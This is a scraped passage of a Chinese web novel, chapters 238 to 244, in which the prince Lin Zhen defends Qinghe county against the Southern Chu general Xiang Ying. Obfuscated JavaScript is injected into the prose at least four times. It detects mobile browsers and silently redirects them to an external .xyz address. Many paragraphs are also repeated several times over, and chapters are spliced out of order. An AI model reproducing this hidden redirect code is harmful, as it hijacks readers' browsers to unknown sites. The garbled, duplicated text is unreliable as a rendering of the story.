一朵血雾绽放。 林臻的力气终究还是小了些,锋利的大刀并没有砍掉波斯人的脑袋,而是卡在了脖颈里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833372|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临邑城。 作为南楚北关重镇,临邑这座城池的建设与他的重要性完全不成正比,就好似在一个土包上改了座房子那样随意。 甚至它比起清河县来都要多显几分破败,由此可见南楚对大乾的态度。 临邑城。 作为南楚北关重镇,临邑这座城池的建设与他的重要性完全不成正比,就好似在一个土包上改了座房子那样随意。 甚至它比起清河县来都要多显几分破败,由此可见南楚对大乾的态度。 临邑城。 作为南楚北关重镇,临邑这座城池的建设与他的重要性完全不成正比,就好似在一个土包上改了座房子那样随意。 甚至它比起清河县来都要多显几分破败,由此可见南楚对大乾的态度。 第238章 他都骂你母亲了,还能忍? “大帅不必担心,杨文平将军驰骋沙场十年,经验颇足,当年对阵韩国第一虎将韩金山都未曾一败,区区名不经传的毛梦极,不在话下。” 邹仁彪骑在马上,老神在在,前后晃悠,嘴咧的和八万似的。 与项英一起,带着后续两万部队姗姗来迟。 这是准备在第一波进攻顺利时的后备军,如果一切都能如计划那般,今晚就将拿下清河县。 部队尚未走到前面,便见整齐的队伍尽头就是高耸的清河县,吊桥被抬起,鼓声阵阵,士兵连连呐喊。 “大帅!你听!” “喝!” “喝!” “喝!” 气冲云霄的胜利呐喊,让项英不苟言笑的脸上终于露出丝丝笑意。 邹仁彪兴奋大喊:“哈哈哈哈,大帅,我们赢了!” 项英满意地捋着胡子:“呵呵呵,这毛梦极果然没什么能耐,当初真应该听你的,否则现在清河县已经在我们手里了。” “现在也不晚啊!大帅,毛梦极已死,下令攻城吧!整个大乾将臣服在您的脚下!” “好!走!” 项英与邹仁彪已经想好在哪吃庆功酒了,挥动马鞭加速上前。 士兵们察觉后方动静,自动分开一条路让他们通过。 项英英姿勃发,气势雄浑,拔出手中长剑,刚要大喊进攻。 就看到河对岸的黑袍小将正手持长枪翩然进城。 这也不像杨文平啊。 既然不是杨文平,那地上躺着的又是谁? “报!!启禀大帅!!杨文平将军与毛梦极比斗不到一个回合,就被斩于马下!” “什么!??” 项英闻言,惊得长剑险些脱手,邹仁彪更是吓得从马上跳了下来,一把揪住士兵的脖领问道:“怎么会这样?” “军师,那敌方小将手持一把长枪,出神入化,杨文平将军轻敌,结果被斩。” “这” 原来呐喊声是大乾士兵的,不是我们的! 天呐,这毛梦极什么来头? 项英恢复过来:“看来,还是不能轻敌啊,传我的命令,撤。” “大帅!我们绝不能撤退!” “为何?” 邹仁彪走到项英马前,拱手焦急道:“大帅,就算毛梦极有些武艺,那也是他个人厉害,我就不相信清河县守军都有他的本领。再说我们劳师远征,如果连试都不试一下就撤退,该如何向陛下交代,又如何向那些想立功的将 士们交代!? 其实这次出兵的本来目的就是想试试清河县的深浅,却没想到还没等进攻呢,两员上将就死了一个,这如何不让项英谨慎? “不行,现在敌方士气高涨,我们士气受挫,这个时候进攻不合适。 “大帅啊!!就是因为士气受挫才需要一场大胜来振奋军心!若我们一而再再而三的忍让,仅剩的这点士气就全没了!属下恳请大帅立刻攻城! 项英:“. “大帅!!不能等了!现在几万军卒都在看着你,你必须拿个态度出来,否则我们就只有退兵,来年再战了! 项英被他说的摇摆不定。 若进,必定是大的伤亡,因为毛梦极斩了杨文平,大乾士气高涨,他们会拼死守城;若退,将错失良机,南楚将士再无攻城拔寨的心思。 怎么办呢 另一边,城楼上。 迎风飘扬的大纛呼啸着闪烁之声。 林臻见杨文平死后,南楚的士兵没什么动静,便好奇地对刚刚杀完人上来的毛梦极说道。 “梦极,这项英的胆子未免也太小了吧?这都不敢来? 毛梦极银色铠甲上斑斑血迹,浑身戾气很重。 “末将研究过项英这个人,他在没有万全的把握时是绝不会出兵的,多年来都是如此。 “我不这么认为,身为武将就该有点血性才是,我看刚才那个杨文平就不错,就是死得快点。 杨文平要是知道林臻这么评价他,非气活过来不可。 毛梦极说道:“世子,这里还是很危险,您先会府衙休息吧。 “不,不把项英这点英雄气打出来,如何才能发现破绽?给,骂他两句。林臻突然递给毛梦极一个自制的大喇叭。 这是铁皮制作的,效果一般,但总比扯着脖子喊要强。 毛梦极接到手里一愣:“末将不会骂人。 “笨蛋,杨文平怎么骂你的,你就怎么骂项英。 “啊?毛梦极犹豫半晌,心里百般不情愿。但为了执行命令还是举起大喇叭,看了看林臻,“额对着这说话是吧? “拿反了。 “哦。 毛梦极把喇叭掉过来,喊道:“项英!吾乃清河县陪戎校尉毛梦极!久闻大将军之名,今日得见,我. “废物!林臻喝骂一声,当即打断,一把将喇叭抢过来。 奶奶的,要是二狗、黄鼠他俩有一人在此,也不会这么丢脸。 堂堂将军 连骂人都不会。 “这么好的东西给你都浪费!小子你来。”林臻又把喇叭递给扛旗的士兵后者满脸兴奋。 辱骂敌国大元帅的机会可不多呀当即接过来喊道:“项英!我日你先人给句痛快话打还是不打!” 项英:? 这好端端怎么就骂起我祖宗来了? 邹仁彪闻言 “大帅他们太放肆了!” 这时又有声音传来。 “项英你这老逼登!是条汉子就你来攻城爷爷在这等你!” “项英!!你还是不是你爹操出来的?若是就赶紧来攻否则老子去扬州玩你母亲把你回炉重造!” “项英我******!” “大帅他骂你母亲这还能忍吗?”不仅是邹仁彪就连上万士兵同样怒火中烧恨不得现在就冲上城楼把说话的那厮抽筋扒皮! 项英也算一世英雄何时受过这等辱骂?当即就被骂懵了。 但是他知道对方越是这样激怒自己就说明自己不攻城的必要性。 “骂就骂吧他越是这么骂就说明想让我们去攻城可见他们早就做好了防守策略。传我的命令撤。” “大帅!!”邹仁彪喊道:“求求您了就给 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林臻没有选择躲避。 因为以后征战天下,还会经历许许多多这样的事情,总不能有点危险就跑吧?再说,自己在这里也能极大的鼓励军心。 他喊道:“死守城池!不得让敌人前进一步!” “是!!” 大乾士兵士气高昂,反观南楚这边也不差。 因为被小伙子劈头盖脸一顿痛骂,骂得脑壳生疼,他们现在就一个想法。 死不死的都不在乎了,必须冲上城楼把那丫的嘴撕烂,塞个烧红的铁棍进去。 “全军准备!” 黑炭头一声怒吼,拔出长剑,举过头顶。 “铺桥!!” 一声令下,两百名士兵扛着木板飞速来到河边将其扔出去。 木板啪叽一声摔进水里,很快便浮了上来。 紧接着后续还有两百名士兵,将云梯搭在木板上,撑起一座简易的桥梁。 林臻见到这震撼的一幕,只是轻描淡写地点点头:“唔,速度还行,就是方法老套了些。命令十二名弓箭手打开城门,把四架八牛弩架在城门口,一高一低,谁来射谁!” “是!”传令兵狂奔而去。 林臻看向毛梦极:“梦极,你亲自去指挥。” “是!”毛梦极答应一声火速下楼,“全军戒备!!” 河对岸,项英见一切就绪,拔出手中长剑大喊:“将士们!建功立业的时候到了,给本帅拿出你们的精神头,冲过去,将敌人生吞活剥!!冲啊!!” “杀啊!!!” 五千先锋军立刻冲向护城河,踩在云梯上,三步并两步来到岸边。 五百弓箭手单膝跪地,张弓搭箭,为后续士兵做保护。 而与此同时,林臻在城楼上发号施令道:“弓箭手准备!!” “射!!” 第239章 清河攻防战 歘—— 林臻眼睁睁看着上百箭矢朝岸边那些人射了过去。 这场面太震撼了,远远比花几个亿拍成的电影片段更加耀眼。 歘—— 林臻眼睁睁看着上百箭矢朝岸边那些人射了过去。 这场面太震撼了,远远比花几个亿拍成的电影片段更加耀眼。 歘—— 林臻眼睁睁看着上百箭矢朝岸边那些人射了过去。 这场面太震撼了,远远比花几个亿拍成的电影片段更加耀眼。 歘—— 林臻眼睁睁看着上百箭矢朝岸边那些人射了过去。 这场面太震撼了,远远比花几个亿拍成的电影片段更加耀眼。 歘—— 林臻眼睁睁看着上百箭矢朝岸边那些人射了过去。 这场面太震撼了,远远比花几个亿拍成的电影片段更加耀眼。 歘—— 林臻眼睁睁看着上百箭矢朝岸边那些人射了过去。 这场面太震撼了,远远比花几个亿拍成的电影片段更加耀眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841579|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歘—— 林臻眼睁睁看着上百箭矢朝岸边那些人射了过去。 这场面太震撼了,远远比花几个亿拍成的电影片段更加耀眼。 歘—— 林臻眼睁睁看着上百箭矢朝岸边那些人射了过去。 这场面太震撼了,远远比花几个亿拍成的电影片段更加耀眼。 歘—— 林臻眼睁睁看着上百箭矢朝岸边那些人射了过去。 这场面太震撼了,远远比花几个亿拍成的电影片段更加耀眼。 第241章 老子早就想死了 星月如墨,营寨内只有点点火把的光亮照映着喧嚣的世界,邹仁彪踩在这片他深爱的土地上, 他看向河对岸,还冒着袅袅黑烟的清河城,顿时迷茫了。 难道说这一切真的怪我吗? 星月如墨,营寨内只有点点火把的光亮照映着喧嚣的世界,邹仁彪踩在这片他深爱的土地上, 他看向河对岸,还冒着袅袅黑烟的清河城,顿时迷茫了。 难道说这一切真的怪我吗? 星月如墨,营寨内只有点点火把的光亮照映着喧嚣的世界,邹仁彪踩在这片他深爱的土地上, 他看向河对岸,还冒着袅袅黑烟的清河城,顿时迷茫了。 难道说这一切真的怪我吗? 星月如墨,营寨内只有点点火把的光亮照映着喧嚣的世界,邹仁彪踩在这片他深爱的土地上, 他看向河对岸,还冒着袅袅黑烟的清河城,顿时迷茫了。 难道说这一切真的怪我吗? 星月如墨,营寨内只有点点火把的光亮照映着喧嚣的世界,邹仁彪踩在这片他深爱的土地上, 他看向河对岸,还冒着袅袅黑烟的清河城,顿时迷茫了。 难道说这一切真的怪我吗? 星月如墨,营寨内只有点点火把的光亮照映着喧嚣的世界,邹仁彪踩在这片他深爱的土地上, 他看向河对岸,还冒着袅袅黑烟的清河城,顿时迷茫了。 难道说这一切真的怪我吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850864|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星月如墨,营寨内只有点点火把的光亮照映着喧嚣的世界,邹仁彪踩在这片他深爱的土地上, 他看向河对岸,还冒着袅袅黑烟的清河城,顿时迷茫了。 难道说这一切真的怪我吗? 星月如墨,营寨内只有点点火把的光亮照映着喧嚣的世界,邹仁彪踩在这片他深爱的土地上, 他看向河对岸,还冒着袅袅黑烟的清河城,顿时迷茫了。 难道说这一切真的怪我吗? 星月如墨,营寨内只有点点火把的光亮照映着喧嚣的世界,邹仁彪踩在这片他深爱的土地上, 他看向河对岸,还冒着袅袅黑烟的清河城,顿时迷茫了。 难道说这一切真的怪我吗? 第243章 废话,你是我的男人! 鼓声阵阵,将士们都不知道发生了什么事情,然而很快他们就看到从城东方向突然涌现一批骑兵! 这批骑兵不多,只有百人。 但气势如虹,杀意盎然,尤其是那为首的披着洁白长袍的小将! 鼓声阵阵,将士们都不知道发生了什么事情,然而很快他们就看到从城东方向突然涌现一批骑兵! 这批骑兵不多,只有百人。 但气势如虹,杀意盎然,尤其是那为首的披着洁白长袍的小将! 鼓声阵阵,将士们都不知道发生了什么事情,然而很快他们就看到从城东方向突然涌现一批骑兵! 这批骑兵不多,只有百人。 但气势如虹,杀意盎然,尤其是那为首的披着洁白长袍的小将! 鼓声阵阵,将士们都不知道发生了什么事情,然而很快他们就看到从城东方向突然涌现一批骑兵! 这批骑兵不多,只有百人。 但气势如虹,杀意盎然,尤其是那为首的披着洁白长袍的小将! 鼓声阵阵,将士们都不知道发生了什么事情,然而很快他们就看到从城东方向突然涌现一批骑兵! 这批骑兵不多,只有百人。 但气势如虹,杀意盎然,尤其是那为首的披着洁白长袍的小将! 鼓声阵阵,将士们都不知道发生了什么事情,然而很快他们就看到从城东方向突然涌现一批骑兵! 这批骑兵不多,只有百人。 但气势如虹,杀意盎然,尤其是那为首的披着洁白长袍的小将! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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即便是盛产战马的大乾,也很难挑出一匹这样强健的马。 如果能夺过来...... “将军威武!!” 士兵们见自己老大这么牛逼,也群情激奋,再次悍不畏死地往前冲。 终于,第一波弓箭手就位,紧接着第二波盾牌兵就位,最后是第三波扛着云梯的敢死队。 毛梦极居高临下喊道:“不许云梯靠近,弓箭手三段放箭!!” 咻咻咻—— 叮叮叮—— 这次进攻的敢死队与下午的不同,他们在搬运云梯的同时居然高高举着盾牌,箭矢落在上面没有一丁点作用,很快来到城墙下面。 “哒!哒!” 两架云梯瞬间搭上来,最底下由四名士兵环抱,两名士兵死命往上爬。 守城的将士发现推不动,立刻由两人合力抱起粗壮的滚木,几乎连看都没看就扔了下去。 随后几声惨叫传来。 “啊!!” “我的腿,我的腿啊!!!” 毛梦极手持长枪在城楼上来回巡逻,发现有跑上来的南楚士兵就是一枪。 “放滚木巨石!!弓箭手继续放箭!” “咚咚咚。” 无数重物顺着城墙扔下去,直把南楚士兵砸得粉身碎骨。但这帮人就像打了鸡血似的,一个个红着眼睛非要爬上来不可。 “死守!不能开口子!” 这次林臻没有来城楼上指挥,也没有让将士们打开口子。 河对岸,项英见状立刻喊道:“投石机准备!攻城车,攻城槌立刻出击!” 四架投石车被南楚士兵操控着填装滚滚冒火的巨石,与此同时简易桥梁已经搭建完毕,几乎与城楼平齐的攻城车在几十名士兵的推力下缓缓前行,用来撞开城门的攻城槌也与之并驾齐驱。 “所有主力立刻压上!四面包围,四面进攻!不要节省弓箭,给本帅玩命的射!” “咚咚咚咚——” 激励的战鼓声传来,南楚士兵变得更加疯狂。 黑压压一片数不清的士兵蜂拥而来,直奔其他城门。 虽然早有准备,但毛梦极还是捏了把汗,不知道其余城门的将士能否守住。 毕竟南楚的兵实在太多了呀! 看来项英是真的打算一鼓作气,拿下清河县! “砰砰砰砰!” 四架投石机同时发动,巨大的火球带着无可匹敌的威力狠狠砸在城楼上! “哇呀!” “啊!!” “快躲开啊!!”毛梦极被士兵拉了一把,身形一晃躲开一颗巨石,却见那巨石直接砸进城楼里,里面一片狼藉。 不过好在投石机装填速度不快,他们还有喘息的机会。 “死守不退!” “泼火油!!” 十名士兵立刻从角落里拿来火油,噼里啪啦的扔下去,然后再扔下去几个火把。 “轰——” 火油见火就着,在城下形成一道火海。 反观南楚士兵依旧不管不顾,死命的把攻城车推到城墙下面。 “嘿呦!嘿呦!嘿呦!”巨大的攻城车宛若一个巨人,甚至毛梦极已经看到站在上面的士兵各个眼珠子猩红。 他大喊道:“把火油扔在攻城车上!!” “是!!” 又是十几个火油坛子扔了过去,再扔几支火把,巨大的攻城车瞬间就变成了火车! 上面的士兵眼看着跳不到城墙上,不得不迅速落下去。 就在这时,第二波投石机的攻击又来了! “砰砰砰砰!” “啊!!” “哇呀!!” 大乾士兵成片成片地倒下,甚至有无畏的战士冲过去保护队友,结果自己被巨石砸中,直接变成了碎末。 鲜血混合着汗水,顺着城楼的台阶往下流,很快便聚成一条小溪。 就在这个时候,林臻终于来了。 他踏着血泊来到现场,对着二十名死死拥着城门的士兵喊道:“开城门!!!” “啊?世子!?” 林臻扯着脖子,嗓子都快喊劈了。 若是等会儿攻城椎过来,挡住八牛弩的射击那就完蛋了! “快打开!!别等攻城椎过来,快啊!!” 嘎吱吱—— 毛梦极在城楼上面,根本不知道发生什么事情,突然发现城门开了,顿时大惊。 “谁允许开的城门?” “是世子!!” “什么?世子在下面?” “是啊!!” “他奶奶的!”毛梦极骂了一声,急得直接从城墙上翻身飞跃下来,然后稳稳落在台阶上,再向下跑去。 却见林臻像个独臂侠似的,穿着单薄的亵衣,手臂上血迹斑斑,右手拿小榔头准备砸八牛弩的机括。 “世子!!” “你来得正好!”林臻回眸,双目猩红全然无惧,“指挥八牛弩,不得放任何一个敌人进来!我去城楼上看看。” “世子,您还是先回去吧,有我们在,清河不会丢的!” “放屁!将士们都在前面拼死拼活,难道我要躲在后面蝇营狗苟的?少废话,服从命令!” “我...”毛梦极恨地直咬牙,最终只能点头答应,“是!来人,保护世子!!” 毛梦极大喝一声,立刻有十几名士兵朝林臻冲了过去,同时大喊。 “保护世子!” 林臻被众士兵围起来,几乎是簇拥着一起往城楼上跑。 来到这里才发现,昨天还完整的城楼现在已经残破不堪,到处都是尸体与残肢,将士们一波一波地冲上来,顶替掉牺牲的人。 林臻拔出佩剑,大喊道:“将士们!!援军很快就到了!坚持就是胜利!!” “世子!!” 大乾所有士兵见林臻与他们站在一起,顿时军心大振! “他奶奶的,王爷的儿子都不怕死,我们怕个鸟啊?” “兄弟们,干死南楚这群杂碎!” “援军马上就到了!” “为了世子!干他妈的!!” 将士们重新焕发活力,不管是弓箭、滚木、巨石,火油等等,只要能守城的家伙,一律往南楚人身上招呼。 就在此时,林臻看到河对岸再次密密麻麻聚满了士兵。 一个披着大红色披风的老将正在阵前巡逻。 不是项英,又是何人? “将士们!乾国这群小兔崽子撑不住了!给本帅全军出击!一个时辰内,必须破城!!” “冲啊!!” “杀!!” 南楚士兵一个个狂奔着过河,那神态,那速度,就好像不是去打仗,而是进城玩娘们来了。 林臻咬咬牙。 看来项英是拼命了,势必要在今晚拿下清河县。 可惜啊,你们情报不准。 既然如此,那就休怪我无情。 “击鼓!!!” “咚咚咚咚咚!” 一直都没有敲过的大鼓突然传来阵阵巨响,士兵都不明白是怎么回事。 然而,不远处却有人明白。 ....... 半个时辰前,城东河岸土坡。 土坡上零星的大树成为了骑兵最好的遮挡,更兼天色暗淡无光,月亮可能也因为不想看到如此凄惨的一幕,而躲进云层后面。 刘妙颜手握长枪,神态凛冽,盯着南楚悍然进攻的场面,心里焦急。 “敌人都进攻了,怎么还不下令!大副,随我冲过去!” 大副焦急道:“将军不可!世子说过,必须要等鼓声响起才能出击。” “世子世子,你满脑子都是世子,他懂个屁!?” “将军,就算我们不听世子的话,也得听周将军的吧?末将求求您,千万别莽撞,以免坏了将军的计划啊!” “这...哼!”刘妙颜把长枪狠狠戳在地上,仿佛大的就是林臻那张欠揍的脸。 明明不会打仗,非要装! 好好在家泡你的妞不行吗?来前线捣什么乱! 很快,刘妙颜看到城楼上出现一个白色身影。 那身体与其他士兵相比略显单薄,手腕更是纤细消瘦,但此刻却挥舞着长剑与守城将士一起拼杀,身姿十分伟岸。 大副也看到了,指着林臻喊道:“将军,你看,那不是世子吗?” 刘妙颜咬牙:“这个死人!他冲到城楼上去干什么?万一伤到可怎么办?!” “将军,世子很明显是去振奋军心的!” “狗屁!我看他就是逞英雄,万一死了,我可不管埋!” 刘妙颜攥紧长枪,喃喃道:“林臻,你的命是我的。我绝不允许任何人夺走。” 其实刘妙颜与林臻的这段荒唐事,军营里的老兵就没几个不知道的,更何况大副跟刘妙颜时间最久,知道怎么回事。 他心里也很清楚,眼前这位口无遮拦,喜欢说反话的巾帼英雄,从来没有一刻忘记过林臻,也从没有放弃过对他的喜欢。 好一个相爱相杀啊。 终于,就在所有南楚士兵扑过来的时候,鼓声终于响了! 刘妙颜大喝道:“去给周将军传信,其余人随我冲!!杀啊!!!” 第243章废话,你是我的男人! 鼓声阵阵,将士们都不知道发生了什么事情,然而很快他们就看到从城东方向突然涌现一批骑兵! 这批骑兵不多,只有百人。 但气势如虹,杀意盎然,尤其是那为首的披着洁白长袍的小将! 只见她手持长枪,披甲挂胄,一骑当先,率领骑兵冲入过河的敌军战阵之中! 林臻看到这一幕不由地拍手叫好。 “那个小将是谁?仅仅百骑就敢冲入敌军腹地,真他妈有种!” “世子!那好像是巾帼女将刘妙颜!” “噶?” 林臻险些被雷倒。 刘妙颜? 前女友? 她怎么来了? 林臻愣了半晌,却见刘妙颜翠眉微蹙,手持长枪冲入敌阵,所到之处如摧枯拉朽,任何敢靠近她的人,都会被戳个透明窟窿。 “啊!!” “拦住敌军!!” 说是拦住,其实根本拦不住,尤其是从坡上冲下来的骑兵。 南楚士兵苍茫应对,反而被刘妙颜杀得丢盔卸甲。 严文豹见刘妙颜杀自己人像杀鸡崽子似的,顿时大怒,一夹马腹冲上前来,手中大刀明晃晃直奔她天灵盖而去。 “不知天高地厚!看刀!” 林臻见状急得大叫:“颜颜小心啊!” 然而刘妙颜却只是不屑冷笑,长枪回手便戳在马眼上。 哦不,马眼睛上。 战马疼得抬起前蹄,让严文豹的身体瞬间失衡,大刀也偏离了方向,最终战马无力地带着主人一起摔倒在地。 严文豹起身大骂:“贼将!老子非杀了你不可!” 河对岸,看到这一幕的项英气恼地喊道:“废物!饭桶!连区区一个小将都打不过!” “大帅!大帅!!”邹仁彪跑了过来。 项英很讨厌他,见状眼睛不是眼睛,鼻子不是鼻子的,冷哼道:“哼,你来干什么?” “大帅,撤兵吧!我已经得到消息,林臻就在城里,他肯定还有埋伏着的骑兵!” “林臻在城里?” “是啊!” 项英心里犹豫了。 如果是林震仙,他肯定会毫不犹豫地撤兵,再做打算。 可城里的是林臻,一个纨绔而已。 更何况自己有十五万大军,就算拿人命往里填,都能把清河县拿下。 瞪了瞪,邹仁彪发现项英没动静,又焦急喊道。 “大帅!!真的不能再冲了,我们渡河艰难,场地狭小,万一林臻还有骑兵,他们可就死无葬身之地了啊!” “住口!”项英拔出长剑,抵在邹仁彪脖子上,“动摇军心者,杀无赦!” “我......”邹仁彪一时间心如死灰。 他已经得到消息,其实林臻早就回来了,甚至下午的战斗就是他亲自指挥的。 如果再盲目攻城,一旦他的骑兵冲下来,这点兵都不够给人家塞牙缝的。 “邹仁彪!你玩忽渎职,本应处死,现在本帅命你退下,立刻返回京城!”项英是铁了心要把邹仁彪弄走,殊不知邹仁彪这样做根本就不是为了自己。 而是为了大楚的江山社稷啊! 可是,项英那双猩红的眼睛让邹仁彪毫不怀疑,只要自己再说一句,一把剑就会要了自己的命。 何苦来呢。 他叹了口气,失魂落魄地转身,步伐踉跄地往自己营寨里走,内心思绪万千。 金玉其外,败絮其中的南楚已经开始走下坡路,昏聩的皇帝做着昏聩的决定,用着昏聩的人来打昏聩的仗。 这样的朝堂,这样的社稷,自己一介寒门出身的布衣,如何能救? 唉,罢了。 乱世之中能苟全性命已属不易,走便走吧。 从今开始,南楚的任何事情都与我无关。 ...... 另一边,城楼上。 林臻见刘妙颜带领的骑兵已经杀出包围,立刻大喊。 “打开西城门,让骑兵进来!” 骑兵失去冲锋的优势,就变成了马上的步兵,目标又大,战斗力弱,留在城外也是活靶子。 即便林臻不喜欢刘妙颜,也不会拿她的性命去冒险。 毕竟这是刘恺威的闺女。 嘎吱吱—— 城门打开,刘妙颜率领骑兵抢在南楚士兵前面进城,紧接着大门再次关闭。 所有城门里只有林臻镇守的南城门是开着的,但是南楚士兵被攻城凿射怕了,一个个都躲在攻城槌后面不露头。 毛梦极指挥的八牛弩射在巨大的攻城凿上作用微小,急得上蹿下跳。 突然他心生一计! “瞄准攻城槌的车轮,射击!” 砰砰砰砰—— 巨大的机括震颤声响彻城门洞,南楚士兵推着攻城槌,推着推着突然发现推不动了! 低头一看,只见攻城槌的车轮已经被攻城凿卡死,另有一个车轮已经报废,巨大而且包裹着铁皮的木头摔在地上。 “攻城槌坏了!” “怎么办啊?” 负责带领的伍长喊道:“抬起来继续走!” “抬不起来啊!” 小一吨重的攻城槌岂是在狭窄的门洞里能抬起来的?伍长再次大喊:“举盾,冲过去!” “杀啊!!” 立刻有士兵冒死举起盾牌,冲在最前面。 毛梦极露出一抹狞笑。 就怕你们不出来呢。 一个破盾牌能干什么? “八牛弩轮番射击!” “砰砰——” 两根巨大的攻城凿射了出去,而那几面盾牌就像纸糊的一样,瞬间被洞穿,连带着举盾的人以及身后准备冲锋的人全部被穿成糖葫芦。 最后攻城凿力度不减,接连穿过二十几个人才堪堪停下。 但这只是一轮射击而来,就在幸存的南楚士兵惊魂未定的时刻,第二波又来了! 紧接着是第三波,第四波,第五波。 源源不断! “啊!!” “伍长?我们怎么办啊?” “伍长已经死了!” “啊?那这仗还怎么打?我们根本冲不过去啊!” “跑吧!再不跑就要被射死了!” 面对这样的守城利器,谁也不可能冲过去。 既然冲不过去,那就没理由这在白白牺牲,于是南楚士兵瞬间如潮水一般退去。 项英见他们又从城门洞里退回来,气得大喊:“废物!告诉他们,继续进攻城门,后退者死!” 已经渐渐走远的邹仁彪听到这句话,更是加快自己的脚步。 得赶紧跑,否则项英一定还会将这次失利算在自己头上。 清河城内。 刘妙颜骑着马来到城中,看到毛梦极把南楚士兵当活靶子射的时候顿时一愣。 她从没见过这么凶残的防守利器,不由得看直了眼。 想上去问问,但最终要坚定的迈向城楼。 只见怒火中烧的刘妙颜三步并两步来到城楼上,见到林臻,一脚将其踹翻在地。 “噗通!” “哎呦我草!” 这一脚给周围士兵都看傻了,还以为有敌军进城了呢。 抬头看去,就见刘妙颜气得脱掉头盔大骂。 “你是不是有病?不会功夫在这逞什么能?还不滚回去!” 林臻单手揉着屁股,刚才这一下又压到了受伤的手臂,疼得他浑身直哆嗦:“你他妈才有病!这是战场,岂容你胡作非为,殴打长官!” “你少给我摆元帅的谱,现在我命令你,立刻回府衙!” “闭嘴!再多说一句老子叫人把你捆起来!” “你敢!!” “来人!”林臻是真的生气了。 这群娘们除了浣碧以外就没一个让人省心的。 当着将士们的面殴打元帅,这是大忌! “在!” “把她给我捆起来,扔草房里去!” “是!” 几名士兵冲过来,对刘妙颜抱拳道:“将军,对不住了!” “等等!”刘妙颜岂是那种会束手就擒的人? “你不是想逞英雄吗?好啊,老娘陪你一起,这总行了吧?”她话音刚落,便有一支利箭飞来,而林臻却全然不知。 她荡起长枪,一下将箭矢打飞,随即冲到林臻面前将她拉到身后。 林臻有些懵。 “你不是最希望我死了吗?” 刘妙颜头也不回地说道:“是啊,我恨不得将你抽筋扒皮!” “那你救我干什么?” “废话,你是我的男人,要死也是死在我手里!” 你是我的男人...... 轰—— 一道尘封的记忆突然在林臻脑海中炸开。 他痛苦地捂住脑袋,蹲了下去。 脑海中,曾经与刘妙颜的种种过往如电影快进那般重现。 一桩桩一件件,一幕幕一回回。 曾几何时,眼前这个无比痛恨自己的女人,也说过一样的话。 “你是我的男人。” 他想起来了。 望着挡在自己身前的挺拔身姿,林臻终于想起来了。 林震仙因为常年作战在外,对家中事不管不顾。 所以年少的时候经常会有纨绔开林臻的玩笑。 那时,正是这个女人在不断保护自己。 她总是冲在对前面,将自己护在身后,即便被其他纨绔联手打得不成样子,也一声不吭,过后也只是冲自己傻笑。 她发誓要努力练武,他发誓从此不再让林臻受到任何欺负。 后来她做到了,而自己却食言了。 没错,就是她。 就是她一次次为自己挡住所有危险,一次次受伤却从不服输,即便粉身碎骨也在所不惜。 而自己这个渣男,竟然在成年后辜负了她。 很快,痛感消失。 林臻再次站起,眼睛清明一片。 他手持长剑与刘妙颜并肩而立,望着眼前汹涌人潮,霸气凛然,全然无惧。 刘妙颜也感受到林臻身上的变化,仿佛想起儿时的种种,俏脸一红,长枪不自觉地伫立在他身前。 就在此时,鼓声越来越大,而南楚的进攻也更加汹涌,十几万人涌上护城河,踩着简易桥梁踏过艰险,直奔其他城门。 就在此时,城东终于传来强烈的呐喊声,伴随着万马奔腾的震感,响彻云霄! 周泽的骑兵到了! 第244章不过一插标卖首的鼠辈尔 轰隆隆—— 项英拧得两道剑眉都快竖起来了:“什么声音!?” 虽然象征性的这么问,其实心里已经猜的八九不离十。 绝对不会有错,这种脚下大地震颤,胯下的马也焦躁不安的感觉,绝对是有骑兵在冲锋! 而且是大批骑兵,速度越来越快,离自己也越来越近。 难道说,林臻真的还有后手? 他还藏了一支骑兵? 就在此时,不知道谁喊了一句,让项英的心彻底跌到谷底。 “大帅!东边有骑兵!!” “什么!?” “骑兵!是骑兵!!乾国的骑兵来了!!” 很快,东方山坡上突然出现一朵巨大的,黑压压的乌云。 那乌云正以极快的速度向清河县而来。 